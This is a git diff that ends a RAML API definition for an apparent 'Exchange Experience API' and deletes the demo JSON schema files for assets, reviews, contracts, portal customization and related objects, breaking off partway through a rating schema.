UUID. - type: string - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - - /rating: - description: Asset rating - displayName: Rating - type: rating - /status: - description: Asset status - displayName: Status - put: - securedBy: [oauth_2_0] - description: Upserts asset's status. - body: - application/json: - schema: !include schemas/assetStatus.json - example: !include examples/assetStatus.json - responses: - 204: - description: Asset status successfully updated - - /groups: - description: Organization groups - displayName: Groups - get: - securedBy: [oauth_2_0] - description: Get eligible groupId's for given organizationId - responses: - 200: - body: - application/json: - example: | - [{ - "groupId": "obtained-group-id" - }] - -/assets: - displayName: Assets - type: assets - - post: - securedBy: [oauth_2_0] - description: Upload an asset. Its required to respect the order of the fields described - body: - multipart/form-data: - formParameters: - organizationId: - description: The target organization where the asset will be uploaded - required: true - type: string - groupId: - description: The groupId for the asset - required: true - type: string - assetId: - description: The assetId for the asset - required: true - type: string - version: - description: The version for the asset - required: true - type: string - name: - description: The name of the asset - required: true - type: string - classifier: - description: The classifier of the file that will be uploaded, it can be one of oas, wsdl, custom or http - required: true - type: string - apiVersion: - description: API version for when uploading an OAS or an HTTP - type: string - assetLink: - description: A link for an external source - type: string - asset: - description: The file to be uploaded - required: true - type: file - responses: - 201: - description: Asset created - - /{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /users: - description: Asset users - displayName: Users - type: assetUsers - - /reviews/search: - description: Reviews search - displayName: Reviews Search - post: - securedBy: [oauth_2_0] - description: Search for asset versions reviews - queryParameters: - includeComments: - description: Include comments for reviews - type: boolean - body: - application/json: - schema: !include schemas/post-search-versions-reviews-body.json - example: !include examples/post-search-versions-reviews-result-body.json - responses: - 200: - body: - application/json: - example: !include examples/reviews.json - - /productAPIVersion/{productAPIVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productAPIVersion: - description: The id of the productAPIVersion - type: string - get: - securedBy: [oauth_2_0] - description: Get the lastest version of the productAPIVersion - responses: - 200: - body: - application/json: - example: !include examples/asset.json - - /{groupId}/{assetId}/{version}: - description: Asset version - displayName: Version - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - version: - description: The id of the version - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular version by its Id - responses: - 200: - body: - application/json: - example: !include examples/asset.json - - /reviews: - displayName: Reviews - type: reviews - - /{reviewId}: - displayName: Review - type: review - uriParameters: - reviewId: - description: Id of the review. It is a UUID. - type: string - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - - /comments: - displayName: Comments - type: comments - - /{commentId}: - displayName: Comment - type: comment - uriParameters: - commentId: - description: Id of the review comment. It is a UUID. - type: string - example: 7a7190da-29f3-451a-b2b2-ebd6f7e1f8ea - pattern: "^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$" - patch: - securedBy: [oauth_2_0] - description: Edit a comment - body: - application/json: - schema: !include schemas/patch-review-comment-body.json - example: !include examples/patch-review-comment-body.json - responses: - 200: - body: - application/json: - example: !include examples/review-comment.json - delete: - securedBy: [oauth_2_0] - description: Deletes an specific asset's review comment. - responses: - 204: - description: comment deleted - - /tags: - description: Asset tags - displayName: Tags - put: - securedBy: [oauth_2_0] - description: Update tags - responses: - 204: - description: Tags updated. - body: - application/json: - schema: !include schemas/tags.json - example: !include examples/tags.json - -/organizations/{organizationDomain}: - description: Organizations by domain - displayName: Organizations by domain - uriParameters: - organizationDomain: - description: Domain of a master organization - type: string - maxLength: 255 - example: some-domain - - /assets: - displayName: Assets - type: assets - - /{groupId}/{assetId}: - description: Assets by group and asset id - displayName: Group Asset - uriParameters: - groupId: - description: Id of group - type: string - assetId: - description: Id of asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /{version}: - description: Asset version - displayName: Version - uriParameters: - version: - description: Version of Asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /productAPIVersion/{productAPIVersion}: - description: Assets by product API version - displayName: API Version - uriParameters: - productAPIVersion: - description: API version of Asset - type: string - get: - securedBy: [oauth_2_0] - description: Get a particular asset by its id - responses: - 200: - body: - application/json: - schema: !include schemas/asset.json - example: !include examples/asset.json - - /portal: - description: Asset portal - displayName: Portal - get: - securedBy: [oauth_2_0] - description: Get a custom portal - responses: - 200: - body: - example: !include examples/portalCustomization.json - patch: - securedBy: [oauth_2_0] - description: Publish draft portal customization. Empty body - responses: - 204: - description: Portal updated - 404: - description: Custom portal does not exist - 409: - description: There were conflicts while publishing - - /pages/{+pageName}: - displayName: Page - type: page - - /draft: - description: Draft portal - displayName: Draft - delete: - securedBy: [oauth_2_0] - description: Deletes the draft portal - responses: - 204: - description: Draft portal deleted - 404: - description: Draft does not exist - get: - securedBy: [oauth_2_0] - description: Get a custom portal - responses: - 200: - body: - example: !include examples/portalCustomization.json - 404: - description: "Custom Portal does not exist" - put: - securedBy: [oauth_2_0] - description: Update custom portal - responses: - 204: - description: "custom portal updated" - 422: - description: "Customization Data is invalid" - body: - application/json: - example: !include examples/portalCustomizationUpdate.json - /pages: - displayName: Pages - post: - securedBy: [oauth_2_0] - is: [pagePoster] - responses: - 201: - description: Page created. - 409: - description: "Page already exists" - 422: - description: "Maximum page quantity exceeded" - /{+pageName}: - description: A single portal page - displayName: Page - type: {editablePage: {type: "custom draft"}} diff --git a/demo/exchange-experience-api/exchange.json b/demo/exchange-experience-api/exchange.json deleted file mode 100644 index 8693aae..0000000 --- a/demo/exchange-experience-api/exchange.json +++ /dev/null @@ -1 +0,0 @@ -{"main":"api.v1.raml","name":"Exchange Experience API","classifier":"raml","tags":[],"groupId":"f1e97bc6-315a-4490-82a7-23abe036327a.anypoint-platform","assetId":"exchange-experience-api","version":"1.0.3","apiVersion":"v1"} \ No newline at end of file diff --git a/demo/exchange-experience-api/schemas/API-instance.json b/demo/exchange-experience-api/schemas/API-instance.json deleted file mode 100644 index 4822ec8..0000000 --- a/demo/exchange-experience-api/schemas/API-instance.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "required": [ - "id", "groupId", "assetId", "productApiVersion", "isPublic", "type", "endpointUri", "name" - ], - "properties": { - "id": { - "type": "string" - }, - "groupId": { - "type": "string", - "maxLength": 256 - }, - "assetId": { - "type": "string", - "maxLength": 256 - }, - "productApiVersion": { - "type": "string", - "maxLength": 128 - }, - "isPublic": { - "type": "boolean" - }, - "type": { - "enum": ["external", "managed", "mocked"] - }, - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "name": { - "type": "string", - "maxLength": 150 - }, - "organizationId": { - "type": "string", - "maxLength": 256 - }, - "createdBy": { - "type": "string" - }, - "createdDate": { - "type": "string" - }, - "updatedDate": { - "type": "string" - } - } -} diff --git a/demo/exchange-experience-api/schemas/asset-users.json b/demo/exchange-experience-api/schemas/asset-users.json deleted file mode 100644 index ebf786f..0000000 --- a/demo/exchange-experience-api/schemas/asset-users.json +++ /dev/null @@ -1,38 +0,0 @@ -{ - "title": "List of users", - "type" : "array", - "items": { - "title": "User", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "profilePhoto": { - "title": "Profile photo", - "type": "string" - }, - "email": { - "title": "Email", - "type": "string" - }, - "role": { - "title": "Role Name", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/asset.json b/demo/exchange-experience-api/schemas/asset.json deleted file mode 100644 index 07cc0be..0000000 --- a/demo/exchange-experience-api/schemas/asset.json +++ /dev/null @@ -1,357 +0,0 @@ -{ - "title": "Asset", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "isPublic": { - "title": "isPublic", - "type": "boolean" - }, - "productAPIVersion": { - "title": "productAPIVersion", - "type": "string" - }, - "description": { - "title": "Description", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "createdAt": { - "title": "Created at date", - "type": "string" - }, - "modifiedAt": { - "title": "Modified at date", - "type": "string" - }, - "runtimeVersion": { - "title": "runtimeVersion", - "type": "string" - }, - "assetLink": { - "title": "assetLink", - "type": "string" - }, - "icon": { - "title": "Icon", - "type": "string" - }, - "status":{ - "title": "Status", - "type": "string" - }, - "rating":{ - "title": "Rating", - "type": "number" - }, - "numberOfRates":{ - "title": "Number of rates", - "type": "integer" - }, - "versions":{ - "title": "Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - } - } - } - }, - "tags":{ - "title": "Tags", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "title": "Value", - "type": "string" - }, - "key": { - "title": "Key", - "type": "string" - }, - "mutable": { - "title": "Mutable", - "type": "boolean" - } - } - } - }, - "dependencies":{ - "title": "Dependencies", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - } - } - } - }, - "files": { - "title": "Files", - "type": "array", - "items": { - "type": "object", - "properties": { - "classifier": { - "title": "classifier", - "type": "string" - }, - "packaging": { - "title": "packaging", - "type": "string" - }, - "externalLink": { - "title": "External Link", - "type": "string" - }, - "md5": { - "title": "md5", - "type": "string" - }, - "createdDate": { - "title": "created date", - "type": "string" - } - } - } - }, - "instances": { - "title": "Instances", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "environmentId": { - "title": "Environment Id", - "type": "string" - }, - "endpointUri": { - "title": "Endpoint Uri", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "isPublic": { - "title": "Is public", - "type": "boolean" - }, - "type": { - "title": "Type", - "type": "string" - }, - "fullname": { - "title": "Full name", - "type": "string" - } - } - } - }, - "productAPIVersions": { - "title": "Product API Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "versions": { - "title": "Versions", - "type": "array" - } - } - } - }, - "metadata": { - "title": "Metadata", - "type": "object", - "properties": { - "productApiVersion": { - "title": "Product API Version", - "type": "string" - } - } - }, - "createdBy": { - "title": "Created by", - "type": "object", - "properties": { - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "profilePhoto": { - "title": "Profile Photo", - "type": "string" - } - } - }, - "permissions": { - "title": "Permissions", - "type": "array", - "items": { - "type": "string" - } - }, - "organization": { - "title": "Organization", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "domain": { - "title": "Domain", - "type": "string" - }, - "createdAt": { - "title": "Created at", - "type": "string" - }, - "updatedAt": { - "title": "Updated at", - "type": "string" - }, - "ownerId": { - "title": "Owner Id", - "type": "string" - }, - "clientId": { - "title": "Client ID", - "type": "string" - }, - "idprovider_id": { - "title": "Provider Id", - "type": "string" - }, - "isFederated": { - "title": "Is Federated", - "type": "boolean" - }, - "parentOrganizationIds": { - "title": "Parent Organization ids", - "type": "array" - }, - "subOrganizationIds": { - "title": "Sub organization Ids", - "type": "array" - }, - "tenantOrganizationIds": { - "title": "Tentant organization ids", - "type": "array" - }, - "isMaster": { - "title": "Is master", - "type": "boolean" - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/assetStatus.json b/demo/exchange-experience-api/schemas/assetStatus.json deleted file mode 100644 index df4b56e..0000000 --- a/demo/exchange-experience-api/schemas/assetStatus.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "status": { - "type": "string", - "enum": ["published", "deprecated"] - } - }, - "required": [ - "status" - ] -} diff --git a/demo/exchange-experience-api/schemas/assets.json b/demo/exchange-experience-api/schemas/assets.json deleted file mode 100644 index 1e8ea16..0000000 --- a/demo/exchange-experience-api/schemas/assets.json +++ /dev/null @@ -1,361 +0,0 @@ -{ - "title": "List of assets", - "type" : "array", - "items":{ - "title": "Asset", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "isPublic": { - "title": "isPublic", - "type": "boolean" - }, - "productAPIVersion": { - "title": "productAPIVersion", - "type": "string" - }, - "description": { - "title": "Description", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "createdAt": { - "title": "Created at date", - "type": "string" - }, - "modifiedAt": { - "title": "Modified at date", - "type": "string" - }, - "runtimeVersion": { - "title": "runtimeVersion", - "type": "string" - }, - "assetLink": { - "title": "assetLink", - "type": "string" - }, - "icon": { - "title": "Icon", - "type": "string" - }, - "status":{ - "title": "Status", - "type": "string" - }, - "rating":{ - "title": "Rating", - "type": "number" - }, - "numberOfRates":{ - "title": "Number of rates", - "type": "integer" - }, - "versions":{ - "title": "Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - } - } - } - }, - "tags":{ - "title": "Tags", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "title": "Value", - "type": "string" - }, - "key": { - "title": "Key", - "type": "string" - }, - "mutable": { - "title": "Mutable", - "type": "boolean" - } - } - } - }, - "dependencies":{ - "title": "Dependencies", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "muleVersionId": { - "title": "MuleVersion Id", - "type": "string" - }, - "type": { - "title": "Type", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - } - } - } - }, - "files": { - "title": "Files", - "type": "array", - "items": { - "type": "object", - "properties": { - "classifier": { - "title": "classifier", - "type": "string" - }, - "packaging": { - "title": "packaging", - "type": "string" - }, - "externalLink": { - "title": "External Link", - "type": "string" - }, - "md5": { - "title": "md5", - "type": "string" - }, - "createdDate": { - "title": "created date", - "type": "string" - } - } - } - }, - "instances": { - "title": "Instances", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "groupId": { - "title": "Group Id", - "type": "string" - }, - "assetId": { - "title": "Asset Id", - "type": "string" - }, - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "version": { - "title": "Version", - "type": "string" - }, - "environmentId": { - "title": "Environment Id", - "type": "string" - }, - "endpointUri": { - "title": "Endpoint Uri", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "isPublic": { - "title": "Is public", - "type": "boolean" - }, - "type": { - "title": "Type", - "type": "string" - }, - "fullname": { - "title": "Full name", - "type": "string" - } - } - } - }, - "productAPIVersions": { - "title": "Product API Versions", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "title": "Product API Version", - "type": "string" - }, - "versions": { - "title": "Versions", - "type": "array" - } - } - } - }, - "metadata": { - "title": "Metadata", - "type": "object", - "properties": { - "productApiVersion": { - "title": "Product API Version", - "type": "string" - } - } - }, - "createdBy": { - "title": "Created by", - "type": "object", - "properties": { - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "profilePhoto": { - "title": "Profile Photo", - "type": "string" - } - } - }, - "permissions": { - "title": "Permissions", - "type": "array", - "items": { - "type": "string" - } - }, - "organization": { - "title": "Organization", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "name": { - "title": "Name", - "type": "string" - }, - "domain": { - "title": "Domain", - "type": "string" - }, - "createdAt": { - "title": "Created at", - "type": "string" - }, - "updatedAt": { - "title": "Updated at", - "type": "string" - }, - "ownerId": { - "title": "Owner Id", - "type": "string" - }, - "clientId": { - "title": "Client ID", - "type": "string" - }, - "idprovider_id": { - "title": "Provider Id", - "type": "string" - }, - "isFederated": { - "title": "Is Federated", - "type": "boolean" - }, - "parentOrganizationIds": { - "title": "Parent Organization ids", - "type": "array" - }, - "subOrganizationIds": { - "title": "Sub organization Ids", - "type": "array" - }, - "tenantOrganizationIds": { - "title": "Tentant organization ids", - "type": "array" - }, - "isMaster": { - "title": "Is master", - "type": "boolean" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/assign-users.json b/demo/exchange-experience-api/schemas/assign-users.json deleted file mode 100644 index a9d9c0b..0000000 --- a/demo/exchange-experience-api/schemas/assign-users.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "title": "List of user assignments", - "type" : "array", - "items": { - "title": "User assignment", - "type": "object", - "required": ["userId", "role"], - "properties": { - "userId": { - "title": "User Id", - "type": "string" - }, - "role": { - "title": "Role Name", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/client-applications.json b/demo/exchange-experience-api/schemas/client-applications.json deleted file mode 100644 index 6a64a7b..0000000 --- a/demo/exchange-experience-api/schemas/client-applications.json +++ /dev/null @@ -1,86 +0,0 @@ -{ - "title": "Client Applications", - "type": "array", - "items": { - "title": "Client Application", - "type": "object", - "properties": { - "masterOrganizationId": { - "type": "string", - "title": "Master organization id" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": "string", - "title": "Description" - }, - "grantTypes": { - "type": "array", - "title": "Grant Types" - }, - "redirectUri": { - "type": "array", - "title": "Redirect Uri" - }, - "contract": { - "title": "Contracts", - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "tier": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": ["null", "string"], - "title": "Description" - }, - "limits": { - "title": "Limits", - "type": "array", - "items": { - "type": "object", - "properties": { - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Time period in milliseconds" - }, - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - } - } - } - }, - "status": { - "type": "string", - "title": "Status" - } - } - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/contract.json b/demo/exchange-experience-api/schemas/contract.json deleted file mode 100644 index f8e735c..0000000 --- a/demo/exchange-experience-api/schemas/contract.json +++ /dev/null @@ -1,49 +0,0 @@ -{ - "title": "Contract", - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "requestedTier": { - "title": "Requested Tier", - "type": "object", - "properties": { - "description": { - "type": "null", - "title": "Description" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "limits": { - "title": "Limits", - "type": "array", - "items": { - "type": "object", - "properties": { - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - }, - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Timeperiod in milliseconds" - } - } - } - }, - "name": { - "type": "string", - "title": "Name" - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/contracts.json b/demo/exchange-experience-api/schemas/contracts.json deleted file mode 100644 index 14b8247..0000000 --- a/demo/exchange-experience-api/schemas/contracts.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "title": "Contracts", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "requestedTier": { - "title": "Requested Tier", - "type": "object", - "properties": { - "description": { - "type": "null", - "title": "Description" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "limits": { - "title": "Limits", - "type": "array", - "items": { - "type": "object", - "properties": { - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - }, - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Timeperiod in milliseconds" - } - } - } - }, - "name": { - "type": "string", - "title": "Name" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/create-search-query.json b/demo/exchange-experience-api/schemas/create-search-query.json deleted file mode 100644 index d4abc17..0000000 --- a/demo/exchange-experience-api/schemas/create-search-query.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "name": { - "type": "string", - "minLength": 1, - "maxLength": 64 - }, - "types": { - "type": "array", - "minItems": 0, - "maxItems": 16, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 64 - } - }, - "search": { - "type": "string", - "minLength": 0, - "maxLength": 1024 - } - }, - "required": [ - "name", - "search" - ] -} diff --git a/demo/exchange-experience-api/schemas/metadata.json b/demo/exchange-experience-api/schemas/metadata.json deleted file mode 100644 index 081aeaa..0000000 --- a/demo/exchange-experience-api/schemas/metadata.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "name": { - "type": "string" - }, - "isCompleted": { - "type": "boolean" - }, - "tags": { - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "type": "string", - "minLength": 1, - "maxLength": 128 - }, - "key": { - "type": "string", - "minLength": 1, - "maxLength": 128 - } - }, - "required": [ - "value" - ] - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/pageCreate.json b/demo/exchange-experience-api/schemas/pageCreate.json deleted file mode 100644 index 33388f6..0000000 --- a/demo/exchange-experience-api/schemas/pageCreate.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "title": "Page Created", - "type": "object", - "required": ["pagePath"], - "properties": { - "pagePath": { - "title": "Page Path", - "type": "string", - "pattern": "[/a-zA-Z0-9\\-\\. ]*" - } - } -} diff --git a/demo/exchange-experience-api/schemas/pages.json b/demo/exchange-experience-api/schemas/pages.json deleted file mode 100644 index 995ef42..0000000 --- a/demo/exchange-experience-api/schemas/pages.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "path": { - "type": "string", - "title": "Path" - }, - "name": { - "type": "string", - "title": "Name" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-API-instance-body.json b/demo/exchange-experience-api/schemas/patch-API-instance-body.json deleted file mode 100644 index 6c6871b..0000000 --- a/demo/exchange-experience-api/schemas/patch-API-instance-body.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "isPublic": { - "type": "boolean" - }, - "name": { - "type": "string", - "maxLength": 150 - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-review-body.json b/demo/exchange-experience-api/schemas/patch-review-body.json deleted file mode 100644 index 39ce4f7..0000000 --- a/demo/exchange-experience-api/schemas/patch-review-body.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "rating": { - "type": "integer", - "minimum": 1, - "maximum": 5 - }, - "text": { - "type": "string", - "maxLength": 2048 - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-review-comment-body.json b/demo/exchange-experience-api/schemas/patch-review-comment-body.json deleted file mode 100644 index 2f5990c..0000000 --- a/demo/exchange-experience-api/schemas/patch-review-comment-body.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "text": { - "type": "string", - "maxLength": 2048 - } - } -} diff --git a/demo/exchange-experience-api/schemas/portal.json b/demo/exchange-experience-api/schemas/portal.json deleted file mode 100644 index 277ef89..0000000 --- a/demo/exchange-experience-api/schemas/portal.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "title": "Portal", - "type": "object", - "properties": { - "draftStatus": { - "title": "DraftStatus", - "type": "string", - "enum": ["PUBLISHED", "NOT_PUBLISHED"] - }, - "pages":{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "title": "Name", - "type": "string" - }, - "path": { - "title": "Path", - "type": "string" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/portalCustomization.json b/demo/exchange-experience-api/schemas/portalCustomization.json deleted file mode 100644 index 3ea540f..0000000 --- a/demo/exchange-experience-api/schemas/portalCustomization.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "title": "Portal Customization", - "type": "object", - "required": ["customization","pages"], - "properties": { - "customization": { - "title": "customization", - "type": "object", - "properties": { - "home": { - "title": "home", - "type": "object", - "properties": { - "heroImage": { - "title": "heroImage", - "type": "string" - }, - "welcomeTitle": { - "title": "welcomeTitle", - "type": "string" - }, - "welcomeText": { - "title": "welcomeText", - "type": "string" - }, - "textColor": { - "title": "textColor", - "type": "string" - } - } - } - } - }, - "pages":{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "title": "Name", - "type": "string" - }, - "path": { - "title": "Path", - "type": "string" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/post-API-instance-body.json b/demo/exchange-experience-api/schemas/post-API-instance-body.json deleted file mode 100644 index 101f6cf..0000000 --- a/demo/exchange-experience-api/schemas/post-API-instance-body.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "required": ["name", "endpointUri"], - "properties": { - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "isPublic": { - "type": "boolean" - }, - "name": { - "type": "string", - "maxLength": 150 - } - } -} diff --git a/demo/exchange-experience-api/schemas/post-review-body.json b/demo/exchange-experience-api/schemas/post-review-body.json deleted file mode 100644 index 4b14527..0000000 --- a/demo/exchange-experience-api/schemas/post-review-body.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "rating": { - "type": "integer", - "minimum": 1, - "maximum": 5 - }, - "text": { - "type": "string", - "minLength": 1, - "maxLength": 2048 - }, - "title": { - "type": "string", - "minLength": 1, - "maxLength": 30 - } - }, - "required": [ - "rating", - "text" - ] -} diff --git a/demo/exchange-experience-api/schemas/post-review-comment-body.json b/demo/exchange-experience-api/schemas/post-review-comment-body.json deleted file mode 100644 index 27eca6d..0000000 --- a/demo/exchange-experience-api/schemas/post-review-comment-body.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "text": { - "type": "string", - "maxLength": 2048 - } - }, - "required": [ - "text" - ] -} diff --git a/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json b/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json deleted file mode 100644 index e74b678..0000000 --- a/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "minItems": 1, - "maxItems": 100, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 256 - } -} diff --git a/demo/exchange-experience-api/schemas/public-versions.json b/demo/exchange-experience-api/schemas/public-versions.json deleted file mode 100644 index b81e796..0000000 --- a/demo/exchange-experience-api/schemas/public-versions.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "type": "string" - } - }, - "required": [ - "productAPIVersion" - ] - } -} diff --git a/demo/exchange-experience-api/schemas/rating.json b/demo/exchange-experience-api/schemas/rating.json deleted file mode 100644 index a7fabb0..0000000 --- a/demo/exchange-experience-api/schemas/rating.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "title": "Rating", - "type": "object", - "properties": { - "organizationId": { - "type": "string", - "title": "Organizationid" - }, - "group": { - "type": "string", - "title": "Group" - }, - "assetId": { - "type": "string", - "title": "Asset id" - 